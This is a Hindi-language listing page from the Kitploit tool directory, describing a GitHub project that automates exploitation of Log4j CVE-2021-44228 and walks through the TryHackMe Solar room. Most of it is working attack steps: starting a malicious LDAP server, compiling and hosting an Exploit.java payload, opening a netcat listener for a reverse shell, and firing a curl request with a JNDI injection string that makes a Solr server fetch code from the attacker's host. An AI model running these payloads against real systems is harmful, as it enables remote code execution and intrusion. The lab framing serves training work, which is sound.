Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
log4j — Log4j CVE-2021-44228 का स्वचालित शोषण, LDAP सर्वर और पेलोड संकलन के साथ, जिसमें TryHackMe Solar चैलेंज के लिए चरण-दर-चरण वॉकथ्रू शामिल है। | Kitploit
उपकरण/GitHubGitHub/h3x0v3rl0rd/log4j
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubh3x0v3rl0rd/log4j

log4j

Log4j CVE-2021-44228 का स्वचालित शोषण, LDAP सर्वर और पेलोड संकलन के साथ, जिसमें TryHackMe Solar चैलेंज के लिए चरण-दर-चरण वॉकथ्रू शामिल है।

रिपॉजिटरी देखें
51 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

💻 -h3x0v3rl0rd-

log4j CVE-2021-44228 का शोषण (TryHackMe Solar, वॉकथ्रू)

root@kitploit:~
git clone https://github.com/n3rdh4x0r/log4j.git 

1. log4j.py चलाएँ (यह सभी आवश्यक एप्लिकेशन इंस्टॉल करेगा और LDAP सर्वर शुरू करेगा)

root@kitploit:~
ifconfig tun0
python3 log4j.py 10.8.227.251

image

2. अटैकर IP को Exploit.java फ़ाइल में जोड़ें

2021-12-19_00-52

3. पेलोड कंपाइल करें

root@kitploit:~
javac Exploit.java -source 8 -target 8

image

4. अस्थायी HTTP सर्वर

root@kitploit:~
python3 -m http.server 8888

image

5. netcat लिसनर

root@kitploit:~
nc -lnvp 9999

image

6. अंत में, बस इतना करना बाकी है कि एक्सप्लॉइट को ट्रिगर करें और अपना JNDI सिंटैक्स फायर करें! पोर्ट नंबर में बदलाव (अब हमारे LDAP सर्वर की ओर संकेत करते हुए) और हम जो संसाधन प्राप्त करते हैं, उस पर ध्यान दें, अपने एक्सप्लॉइट को निर्दिष्ट करते हुए:

root@kitploit:~
curl 'http://10.10.45.175:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.227.251:1389/Exploit\}'

image

image

टूल डाउनलोड करें